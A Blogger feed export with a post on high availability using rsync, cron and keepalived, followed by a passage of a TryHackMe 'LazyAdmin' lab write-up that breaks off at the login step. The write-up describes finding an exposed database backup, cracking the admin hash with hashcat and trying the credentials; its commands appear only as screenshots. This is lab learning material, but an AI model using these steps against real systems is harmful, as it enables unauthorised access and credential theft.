tag:blogger.com,1999:blog-37606995036132423122024-02-07T11:49:46.461-05:00deltree c: /ydeltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.comBlogger62125tag:blogger.com,1999:blog-3760699503613242312.post-75306806425510894742022-10-17T18:31:00.004-04:002022-10-17T18:31:47.441-04:00KISS High Availability<h2 style="text-align: left;">Tools Suck</h2><p>Let me be straight with you. I <b>hate</b> most tools. Software developers tend to write tools for themselves, which makes sense. But then, they just publish the highly customized thing they use. Often times, because they're software developers, there are unaccounted for dependencies, a mess of custom directories, and even arbitrary naming conventions.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcNFJ8nC3DgJBaI8z2IhGzodU-lI03EJV-4TSmrTenlXXKzisd7EDzPXObQ-WUwO9ifyD-P4HHSxrdqctx94HTq_pU4g7IOQlH7-8R3d0UP56dfAdIHfAUt_sEPYMDfKqnoN8vblzMgAUVx3JEldv9l140ncA8swIMDEl7fcvflWqL-kdkKDvIrczzgQ/s1200/2576527_0.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="630" data-original-width="1200" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcNFJ8nC3DgJBaI8z2IhGzodU-lI03EJV-4TSmrTenlXXKzisd7EDzPXObQ-WUwO9ifyD-P4HHSxrdqctx94HTq_pU4g7IOQlH7-8R3d0UP56dfAdIHfAUt_sEPYMDfKqnoN8vblzMgAUVx3JEldv9l140ncA8swIMDEl7fcvflWqL-kdkKDvIrczzgQ/w400-h210/2576527_0.jpg" width="400" /></a></div><div><br /></div><div>What results is stuff that's not--gasp--user friendly. In fact, this is kind of a mantra in the software world. "We're not user friendly and we like it that way". That's all fine and dandy if your purpose is to enhance your job security. But that's not how you should build something for other people to use (known as a tool).</div><div><br /></div><div>Since I <b>hate</b> most tools, the result is that, I have to do a lot of things by hand until I find the right tool for the job. In some cases, I work with "the best tool for now" but most of the time I just do things by hand because it's less tedious than learning and re-configuring my system for a tool that will be broken next week anyway.</div><div><br /></div><h2 style="text-align: left;">What is High Availability?</h2><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-UBU_MOCzkvPKaDLGb3CIsOtf0X_ZbInFVgzHIO2vRj1xAzbqOKRkXqEGk-4ldiQ5tGBqywc8I7gzGls1wEU7Ry0W1vtO3Tocdn059z33VKNqo5zclk6s6CqT_z8Xw4URoutrUq-tp3pyJR-qbeDesTwq-Jk8_SCSXlVthZhCFKu9pwkRS4LtnpJyzQ/s801/Pressidium_blogpost_1_03_2017_Blog-post-1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="401" data-original-width="801" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-UBU_MOCzkvPKaDLGb3CIsOtf0X_ZbInFVgzHIO2vRj1xAzbqOKRkXqEGk-4ldiQ5tGBqywc8I7gzGls1wEU7Ry0W1vtO3Tocdn059z33VKNqo5zclk6s6CqT_z8Xw4URoutrUq-tp3pyJR-qbeDesTwq-Jk8_SCSXlVthZhCFKu9pwkRS4LtnpJyzQ/w400-h200/Pressidium_blogpost_1_03_2017_Blog-post-1.png" width="400" /></a></div><div><br /></div><div>In this context, let's talk about "High Availability". Often called HA by system administrators, high availability is exactly what it purports to be. It's making something available as much as possible. A simple context to understand this is with the internet. If this blog was hosted on a single server and that server crashed (for whatever reason), then you wouldn't be able to get to it anymore. In a High Availability situation, there would be multiple servers hosting the same blog, and if one died (or was just down for updates) you would still see the blog because another server would be doing the job of hosting it.</div><div><br /></div><div>As you can imagine, this comes with a cost. Namely, more servers. If you wanted our computer to be high availability so you could keep working if it crashed, you'd need a second computer just like it, running all the time, ready for you to switch to it if yours died. So, high availability is expensive.</div><div><br /></div><div>Some system administrators won't work without it. In fact, you'll see this all over the internet and in the home lab communities. People run 2 ethernet cables to every network connected device in their house. Some will run 2 routers. People even run two pihole DNS servers (it's literally just there to reduce ads!). Don't misinterpret, having backups is important, and knowing how to set up a highly available service is valuable (and the topic of this blog post). But not everything needs to be highly available--not everything needs a backup either to be honest.</div><div><br /></div><div>This may come as a shock to those sysadmins, but guess what? Very few things need to be highly available. In fact, the more things you require to be HA, the more things that have to be available for <b>those</b> things to work. If you want your server to be highly available, you don't just need a second server. You also need a second power outlet, probably should put that on a second battery backup too, and maybe even a second circuit, or maybe located in a different physical facility to ensure against fire/weather issues, maybe a different country in case politics gets out of hand--can we get it in space? See what I mean? Perfect availability is a pipe dream.</div><div><br /></div><h2 style="text-align: left;">When should we HA something?</h2><div>So keep it simple. What do you use it for? When do you use it? What happens if you can't use it? Or, in the mantra of the miliary: What do we have and what do we need? If your internet goes down, it might mess up your Netflix binge, but will it wreck your life? Oh wait, you work from home? Maybe a bigger deal then. Fire alarm? Probably more important. Thermostat? Less so, but probably key in the winter. Can you see the priority list forming? But we're not talking about the four walls. We're talking about software.</div><div><br /></div><div>What software actually keeps you going day to day? In my case, I run a software business, and need my website to be "highly available" so that any time a client wants to, they can visit it and learn about my company. Now, I can offload this to another tool, and do in most cases. I'll use the cloud to manage the availability, and just put my stuff on a server on a cloud service such as AWS. That's a pretty good tool.</div><div><br /></div><div>BAM. We're done. High Availability. No more effort needed.</div><div><br /></div><div>Realistically, it's much more expensive to run things in the cloud. So I run a lot of stuff myself. One example of a tool that you might think should be highly available, but probably doesn't need to be is a build server. If my builds don't run, everything stays running, it just doesn't update. This isn't the end of the world, and my software cycle isn't moving so quickly that I can't take the time to fix my build server if it goes down.</div><div><br /></div><div>On the other hand, my reverse proxy is crucial. It not only handles many websites for my clients (which they would be very mad if they went down), but also allows me to have a stable DNS even if my IP address changes. I really would like to invest in running a second one.</div><div><br /></div><h2 style="text-align: left;">Cut to the chase. How do we do it?</h2><div>So because there are so many bad tools out there, I'm going to share with you a set of good tools that I have found to be easy to set up, reliable, and not prone to user-error. Ready?</div><div><br /></div><div style="text-align: center;">cron</div><div style="text-align: center;">rsync</div><div style="text-align: center;">keepalived</div><div><br /></div>Why these three tools? because they're all simple linux CLI interfaces. The developers didn't get super fancy and try to overdo it. The interfaces are stable, as they've been around a while, and when tied together they're fully automatic.<div><br /></div><h3 style="text-align: left;">rsync keeps the servers in sync</h3><div>rsnync is a very simple tool for keeping two folders the same. When I'm running two servers, every time I change one, I don't want to have to change the other. So I run rsync on a regular interval to keep the servers in sync. Here's what it looks like to use rsync to keep my nginx configurations all synced between the two servers, so the reverse proxy acts the same across the board.</div><div>
<pre class="prettyprint bash" style="text-align: left;">rsync -av /etc/nginx/ <user>@<server ip>:/etc/nginx
</pre>
</div><div><p style="text-align: left;">You can find more about rsync <a href="https://www.digitalocean.com/community/tutorials/how-to-use-rsync-to-sync-local-and-remote-directories" target="_blank">here</a>.</p><h3 style="text-align: left;">cron does the automation</h3><p>Of these 3, cron's role is simple. It runs rsync regularly. That's it. In my case, nightly is enough. I don't add new websites behind my reverse proxy all that often, so nightly is enough to keep things up to date. Here's my crontab for the above script to run nightly:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUHD1lm3tYFG1B7BWw6muM7kItwKWxmEpC2kry6TiYdVGfUW4henYXWAqvW9iouatcYiwAVJOdl42sinRLgPbJO1r5qD732lknGYkTYGFrDN0shZW920kZqzmlYy8-cHLYfId197V0xyUuqg_kLXKRN2UooGrArjGMO8NkGlQirDMZgdi9dkZO_OgJaQ/s585/2022-10-17_17-59.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="415" data-original-width="585" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUHD1lm3tYFG1B7BWw6muM7kItwKWxmEpC2kry6TiYdVGfUW4henYXWAqvW9iouatcYiwAVJOdl42sinRLgPbJO1r5qD732lknGYkTYGFrDN0shZW920kZqzmlYy8-cHLYfId197V0xyUuqg_kLXKRN2UooGrArjGMO8NkGlQirDMZgdi9dkZO_OgJaQ/w400-h284/2022-10-17_17-59.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">A decent tutorial on cron is <a href="https://linuxhint.com/cron_jobs_complete_beginners_tutorial/" target="_blank">here</a>.</div><h3 style="text-align: left;">keepalived handles failover</h3><p>keepalived is a simple tool to create a pool of servers that take over for each other, should one fail. Well, it doesn't create the pool. It adds the server to the pool. So you run keepalived on each server you want to be part of that pool, using the same configuration (that helps identify the pool) and they do just that. Setting up keepalived just requires a configuration file /etc/keepalived/keepalived.conf which looks something like this:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdeLBrRW0E4i5OOJD3kAG727z2giIgTqXi_f9MfMmUFl03pbMNB6iqbdzbzT9hAvxy_UYLDO-_ZQWTZg6Ud6-LP9WVmuW4Fbsr8bY0VB0-hPO8XS8X6Es_m9OWntQiupmX9pDXITZPAIFvitSiMSzZtigD3WVLBNzemYhePhm4A8r1v-IdAM9inBkv3Q/s539/2022-10-17_18-27.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="539" data-original-width="329" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdeLBrRW0E4i5OOJD3kAG727z2giIgTqXi_f9MfMmUFl03pbMNB6iqbdzbzT9hAvxy_UYLDO-_ZQWTZg6Ud6-LP9WVmuW4Fbsr8bY0VB0-hPO8XS8X6Es_m9OWntQiupmX9pDXITZPAIFvitSiMSzZtigD3WVLBNzemYhePhm4A8r1v-IdAM9inBkv3Q/s320/2022-10-17_18-27.png" width="195" /></a></div><br /><p><br /></p><p>You can see a lot of details about keepalived <a href="https://www.redhat.com/sysadmin/keepalived-basics" target="_blank">here</a>. I also recommend <a href="https://www.youtube.com/watch?v=hPfk0qd4xEY" target="_blank">this video</a> for it.</p><p>Have we missed anything? Well, we could go beyond, moving the server off-site. We could certainly look at syncing other directories (but this works for now). I think we're doing pretty well. I will be improving my scripts in the coming days, but this is all working and didn't require 30 hours of mastering tool configurations. I'm pretty happy with it.</p><p><br /></p></div>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-54369285833808984952021-11-10T15:55:00.002-05:002021-11-10T15:55:24.759-05:00TryHackMe - LazyAdmin Room<p><span></span>Before I get into the room, there's a couple of things. It's November currently, which means NanoWrimo. I'm working on a TTRPG campaign and improving my DM-ing skills for this year's Nano, so I'm less focused on these rooms which is part of why this room took so long. But for those of you learning (like me), I want to clarify. This room was hard for me. It would have taken a few days for my brain to understand it without the additional distractions this month. I'll try to clarify some of the dead-ends I ran into and talk about them, but I do these based solely on my notes to improve my ability to document as well (an important part of the skill). With that said, let's move into the box.</p><p>This was <a href="https://tryhackme.com" target="_blank">TryHackMe</a>'s <a href="https://tryhackme.com/room/lazyadmin" target="_blank">LazyAdmin Room</a>. The premise here is that the administrator of the box was far too lazy to take basic security precautions. I think I may have done things a bit incorrectly, but follow me and see how I got in.</p><h2 style="text-align: left;">Reconnaissance</h2><p>When we check the ip, we get a default Apache page.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWgyfkViwf9dvQjJi6EuquZCcnzXsJR6lAYhqjC_IATI2TR81fHzoVSu3NRq6cRK3867YoEzAyOtHagrDMnDD0XpnnfYhS4dEVyAdyweXMAxaCMwPYfQymKvM-QC4OdO0PUKaISzeuZtQ_/s926/recon_1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="571" data-original-width="926" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWgyfkViwf9dvQjJi6EuquZCcnzXsJR6lAYhqjC_IATI2TR81fHzoVSu3NRq6cRK3867YoEzAyOtHagrDMnDD0XpnnfYhS4dEVyAdyweXMAxaCMwPYfQymKvM-QC4OdO0PUKaISzeuZtQ_/s320/recon_1.png" width="320" /></a></div><br /> As usual, we check the version info in the dev tools in our browser.<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZzUXRlA6CQXdWxzd7MYzaBZFWJnZ10TRZ5UZ2_fq74wa1fagHpm0l7cvC-pyb_A-bKpM_etMtAE4vman4hxaAQUIb-i3aDu6Ad9qkVg5cydVQ0c-M_ZoRBt8iQmxXiTz7y6sWt-XPD_gp/s737/recon_2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="363" data-original-width="737" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZzUXRlA6CQXdWxzd7MYzaBZFWJnZ10TRZ5UZ2_fq74wa1fagHpm0l7cvC-pyb_A-bKpM_etMtAE4vman4hxaAQUIb-i3aDu6Ad9qkVg5cydVQ0c-M_ZoRBt8iQmxXiTz7y6sWt-XPD_gp/s320/recon_2.png" width="320" /></a></div><p>Alright, looks like the usual--Ubuntu running Apache 2. Given that we can't find anything else from this, it's time to move on from Recon.</p><h2 style="text-align: left;">Enumeration</h2><p>Let's start with nmap.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6JMGhNeWuDOVDdwT7UNl-Jq_uPmk1A600PWVmfSQBeq99XPoOYih_7sXdRGyVB8oEPXSk4BuqxREiBOT3gYKutQ9AIfJwPkbtFE7DET0Ryavi-XsIPbXAKCgrEZCrp0USSAwI_02dBCCW/s761/enum_1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="234" data-original-width="761" height="98" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6JMGhNeWuDOVDdwT7UNl-Jq_uPmk1A600PWVmfSQBeq99XPoOYih_7sXdRGyVB8oEPXSk4BuqxREiBOT3gYKutQ9AIfJwPkbtFE7DET0Ryavi-XsIPbXAKCgrEZCrp0USSAwI_02dBCCW/s320/enum_1.png" width="320" /></a></div><p>That port 7512 is odd. It could be a glitch. It's blocked by a firewall at least, so let's see if there's anything that runs on that port.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx4EFnuhfLTET3nrsqd93V-ArKJcsGuCCM5tSSqEI9Wn3_kg0AGTMgi-udKFytm_Lqy5wuYt05Pigj8q5dj-6JjmncfQypx0h-vHgkCGE3L19HiC50FFqokEK_rUOkDSMFQS8S14iR4ISK/s889/enum_2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="484" data-original-width="889" height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx4EFnuhfLTET3nrsqd93V-ArKJcsGuCCM5tSSqEI9Wn3_kg0AGTMgi-udKFytm_Lqy5wuYt05Pigj8q5dj-6JjmncfQypx0h-vHgkCGE3L19HiC50FFqokEK_rUOkDSMFQS8S14iR4ISK/s320/enum_2.png" width="320" /></a></div><p>No common software runs on that port. If it is anything, it's something we probably don't care about given the firewall. Let's move on to gobuster.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjud7lQMtLPvqWdPrMo1dZXb3Mb5JUxt6qU7b_dhOtZzhe10yfHi5_6n7zdy0Yl0HRzOnIqFPl3C-DBVm4GKO4EkOCTFJ09ABus4__KcR1wC3kytYBIal9nPfZBN9EZYZJ0hKVfSXk850dk/s891/enum_3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="391" data-original-width="891" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjud7lQMtLPvqWdPrMo1dZXb3Mb5JUxt6qU7b_dhOtZzhe10yfHi5_6n7zdy0Yl0HRzOnIqFPl3C-DBVm4GKO4EkOCTFJ09ABus4__KcR1wC3kytYBIal9nPfZBN9EZYZJ0hKVfSXk850dk/s320/enum_3.png" width="320" /></a></div><p>What's up with <span style="font-family: courier;">/real_estate</span>?</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKkzwRQkk3dOFALI5Z6F_hXrZD7qZ63h731xLUrH2Fw6hkL8ooYnIpxZnSKes_6oIFnR7nh_xX3cgR5cBrhaA9JRty8xP18AD6mdlnSHU2LnjpS5v3LFG8cTR0fpe6HOLdjQwZYzsOIZMB/s572/enum_4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="252" data-original-width="572" height="141" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKkzwRQkk3dOFALI5Z6F_hXrZD7qZ63h731xLUrH2Fw6hkL8ooYnIpxZnSKes_6oIFnR7nh_xX3cgR5cBrhaA9JRty8xP18AD6mdlnSHU2LnjpS5v3LFG8cTR0fpe6HOLdjQwZYzsOIZMB/s320/enum_4.png" width="320" /></a></div><p>Ok, that was just a legitimate error. Let's see what <span style="font-family: courier;">/content</span> has to offer.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAFDR0Wne1qZAbRoa25ye-lVCMwbsnTTXOi8UIekN8uv984HbU0xRQNQ5uxMbJ4FMP1etspvCyWcPUhS5WI77LWIZ52UQF1pNqmJp0MbihN4ixzhGkBdX9MIUBa0ChOAdu8jKJ9amMiWwc/s746/enum_5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="553" data-original-width="746" height="237" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAFDR0Wne1qZAbRoa25ye-lVCMwbsnTTXOi8UIekN8uv984HbU0xRQNQ5uxMbJ4FMP1etspvCyWcPUhS5WI77LWIZ52UQF1pNqmJp0MbihN4ixzhGkBdX9MIUBa0ChOAdu8jKJ9amMiWwc/s320/enum_5.png" width="320" /></a></div><p>Hey! We found the website! Let's see what's at that link. Maybe this lazy admin didn't correctly configure security settings.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHTDbL9u3ueN73VuhP8apFlPutS-CG1E3v7IXwiFxTpuOgx2uF5XxCVpAJaEkmPn2iIskHUafuycrGuhLHMBlUJmUDRtgJijiKNRzx01xujzfqak7C8BuZd2hFveb28JkUehkWjbd-65Vg/s908/enum_6.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="331" data-original-width="908" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHTDbL9u3ueN73VuhP8apFlPutS-CG1E3v7IXwiFxTpuOgx2uF5XxCVpAJaEkmPn2iIskHUafuycrGuhLHMBlUJmUDRtgJijiKNRzx01xujzfqak7C8BuZd2hFveb28JkUehkWjbd-65Vg/s320/enum_6.png" width="320" /></a></div><p>Let's see if we can access the <span style="font-family: courier;">/inc</span> directory.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQjiuJgq9dI-cC-wNEmNEKj1L97tmYZxbtAZfGweEuHJsfYbNvTnzi7Fbkluk64aXz1Pfm6zWDQwIY2T64moha-SuqmbrFxtIoDIozqnWMdkM-1AHgMU8DkFrdAkgTYU4DM4d2K9AgrW16/s712/enum_7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="508" data-original-width="712" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQjiuJgq9dI-cC-wNEmNEKj1L97tmYZxbtAZfGweEuHJsfYbNvTnzi7Fbkluk64aXz1Pfm6zWDQwIY2T64moha-SuqmbrFxtIoDIozqnWMdkM-1AHgMU8DkFrdAkgTYU4DM4d2K9AgrW16/s320/enum_7.png" width="320" /></a></div><p>We sure can. In this file list I found something interesting, and there the rabbit hole begins.</p><h2 style="text-align: left;">Exploitation</h2><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLw6VNu82soUDwk_JV4ObvNtOURrtp9g_o0nfbRezsE97Nkuyn0T39EytWDHKnGkai-yIagl4zgO_YiESvxTVzqLF4wac6bLNjHN1QMVZjF4HYmeFywARGcbiEtFjIXmyBj-1KG2GVlYCk/s426/expl_1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="116" data-original-width="426" height="87" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLw6VNu82soUDwk_JV4ObvNtOURrtp9g_o0nfbRezsE97Nkuyn0T39EytWDHKnGkai-yIagl4zgO_YiESvxTVzqLF4wac6bLNjHN1QMVZjF4HYmeFywARGcbiEtFjIXmyBj-1KG2GVlYCk/s320/expl_1.png" width="320" /></a></div><p>Looks like there's a folder where one could backup the database. I bet that has usernames! I wonder if there's been a backup.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAlB5rblSdDaABblO3BzxSti9Z-Zk5uzENKg16WZ6YsLsuQ7QILkMd1qtwataV2PlWjIpWNJKCL1pxpNllPFHLY4HNv-gJgcxMqizHvHFyT0PeDN_FAGUM_uQyQlTpR9hHmLV6Pd_zAfLm/s741/expl_2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="421" data-original-width="741" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAlB5rblSdDaABblO3BzxSti9Z-Zk5uzENKg16WZ6YsLsuQ7QILkMd1qtwataV2PlWjIpWNJKCL1pxpNllPFHLY4HNv-gJgcxMqizHvHFyT0PeDN_FAGUM_uQyQlTpR9hHmLV6Pd_zAfLm/s320/expl_2.png" width="320" /></a></div><p>There sure has. Let's download this and take a look.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyRZvF1G3Euuz5xcCAtqNZ4nXpv5ZqpBh1hq2rhy-KzpOD-4uAWgg0Hd22oX0VekfNMER8lHO2neFkwuOcTEWeV2jLjP-687ifpCP9_o08WTe1vlbwF54adqxvMVYImeRfVkNCmS40J-ly/s636/expl_4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="431" data-original-width="636" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyRZvF1G3Euuz5xcCAtqNZ4nXpv5ZqpBh1hq2rhy-KzpOD-4uAWgg0Hd22oX0VekfNMER8lHO2neFkwuOcTEWeV2jLjP-687ifpCP9_o08WTe1vlbwF54adqxvMVYImeRfVkNCmS40J-ly/s320/expl_4.png" width="320" /></a></div><br /> I wonder if there are passwords in here?<br /><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-wN3mawWS3HWNBRWO8LsoQfB35qAJ8ZR5jVP0MnpwjGiAY7tnYmBmguCsQL6AsdCLykEhY3KZ6V1B_cAKMuzLsA3BRYQZzAjABz6uswS2zdMT3PWUqZ1h0enpcHyqbrSF_205U4x5nucf/s649/expl_3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="531" data-original-width="649" height="262" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-wN3mawWS3HWNBRWO8LsoQfB35qAJ8ZR5jVP0MnpwjGiAY7tnYmBmguCsQL6AsdCLykEhY3KZ6V1B_cAKMuzLsA3BRYQZzAjABz6uswS2zdMT3PWUqZ1h0enpcHyqbrSF_205U4x5nucf/s320/expl_3.png" width="320" /></a></div><p>Sure enough, we have a username for the admin account: "manager" and a password in this backup. Now, I'm not going to take you down the rabbit hole I went down here, but I facepalmed when I realized that the password was hashed. Of course it was!</p><p>Once I found that out, it was just a matter of running <a href="https://hashcat.net/hashcat/" target="_blank">hashcat</a>.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYmZG6keyJ-yICD_BpAbeqoNhoLLwPyzx2m9ypqmMZPBgX7CeVoVl4S0rQZNW3TGCocgmM3p_f-jys_iVoDm2r9irfFl8SUnu9SWVlce3VIDF06fw6fyl90fpSUDE4u-MmGeU2sc1Fzi0s/s871/expl_5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="47" data-original-width="871" height="34" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYmZG6keyJ-yICD_BpAbeqoNhoLLwPyzx2m9ypqmMZPBgX7CeVoVl4S0rQZNW3TGCocgmM3p_f-jys_iVoDm2r9irfFl8SUnu9SWVlce3VIDF06fw6fyl90fpSUDE4u-MmGeU2sc1Fzi0s/w640-h34/expl_5.png" width="640" /></a></div><br /> and the results...<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZdzWSl2nCHctpieY-3S-QIDyMeMq9Z-suZoy2V5sUY3ZfIkr1DiEEfofxE0u-_aPn0ShTP3Q8HRR8IjmOqq-FnD-9o_6TUtxGNeAr3pJTk6D8R5BIbWeWdJHlxAX1AbCVUaNeYDdIHQvD/s802/expl_6.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="483" data-original-width="802" height="241" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZdzWSl2nCHctpieY-3S-QIDyMeMq9Z-suZoy2V5sUY3ZfIkr1DiEEfofxE0u-_aPn0ShTP3Q8HRR8IjmOqq-FnD-9o_6TUtxGNeAr3pJTk6D8R5BIbWeWdJHlxAX1AbCVUaNeYDdIHQvD/w400-h241/expl_6.png" width="400" /></a></div><p>Well, that's definitely a lazy admin's password. Let's see if we can ssh in with these credentials.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikzO97ih-IhqgX7Zkjy76hyNdPHIGlyQJxfqP-L0024GAnoytgj2lgkE3qTDFr4ZQUxoQS8unUcHgMvfTAs8yIVluZY1j0FRQ91vsLrsE-joJkEN-Vz9LFzDK_nY-g3X6PNtgbiTvOPfra/s628/expl_7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="194" data-original-width="628" height="99" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikzO97ih-IhqgX7Zkjy76hyNdPHIGlyQJxfqP-L0024GAnoytgj2lgkE3qTDFr4ZQUxoQS8unUcHgMvfTAs8yIVluZY1j0FRQ91vsLrsE-joJkEN-Vz9LFzDK_nY-g3X6PNtgbiTvOPfra/s320/expl_7.png" width="320" /></a></div><p>Well, I suppose that would've been too easy eh? Let's run gobuster again and see if we can find any other subdirectories under <span style="font-family: courier;">/content</span>.</p><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuiowr4c60PmuCXAyYzAy2TE_pyGIepGFuVkybA4GK-wwnqv_rFCX3gif57W56oGcN0jPUGqdEwk6YeunVfMDaZHuWYqU0dth08xNleGyYybYSnBEYTKryL-WQfJDZoZHV25eA32q6t8Wh/s714/expl_8.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="428" data-original-width="714" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuiowr4c60PmuCXAyYzAy2TE_pyGIepGFuVkybA4GK-wwnqv_rFCX3gif57W56oGcN0jPUGqdEwk6YeunVfMDaZHuWYqU0dth08xNleGyYybYSnBEYTKryL-WQfJDZoZHV25eA32q6t8Wh/s320/expl_8.png" width="320" /></a></div><p>This looks neat. The <span style="font-family: courier;">/attachment</span> directory probably coincides with that <span style="font-family: courier;">attachment.php</span> that we saw earlier. I guess this blog allows uploads. I wonder if that is our path to exploitation? We'll need to login though. What's this <span style="font-family: courier;">/as</span> directory?<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTAFayDMQScAqOXu-wapt1XPiUfTa2nmeQylxV3RBfnJXGjihCn3Yaf_HDAP57k0EYqZP9eQm5_mZ4879zENCNzqwAU_ut8RnXzzN95kTleaxqMRHaU3G9o_kJd3wO50dEO70xtStrwH2I/s933/expl_8.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="718" data-original-width="933" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTAFayDMQScAqOXu-wapt1XPiUfTa2nmeQylxV3RBfnJXGjihCn3Yaf_HDAP57k0EYqZP9eQm5_mZ4879zENCNzqwAU_ut8RnXzzN95kTleaxqMRHaU3G9o_kJd3wO50dEO70xtStrwH2I/s320/expl_8.png" width="320" /></a></div><p>Haha! We found the login! Let's see if our credentials work.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj82vDDlc2Wjcx90Av_r7aVDF5_cj0sNrgH5LyX6L6xqXBRsM287XXEaRzb1BQtvyPKQCslLz0N-F5ctCbMpjm2nzfvrviTax_wuz2Vq-R-XrvJbkxgSk9Rvx88tjWOQAK7jdPRM3A7WfIg/s936/expl_9.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="456" data-original-width="936" height="156" 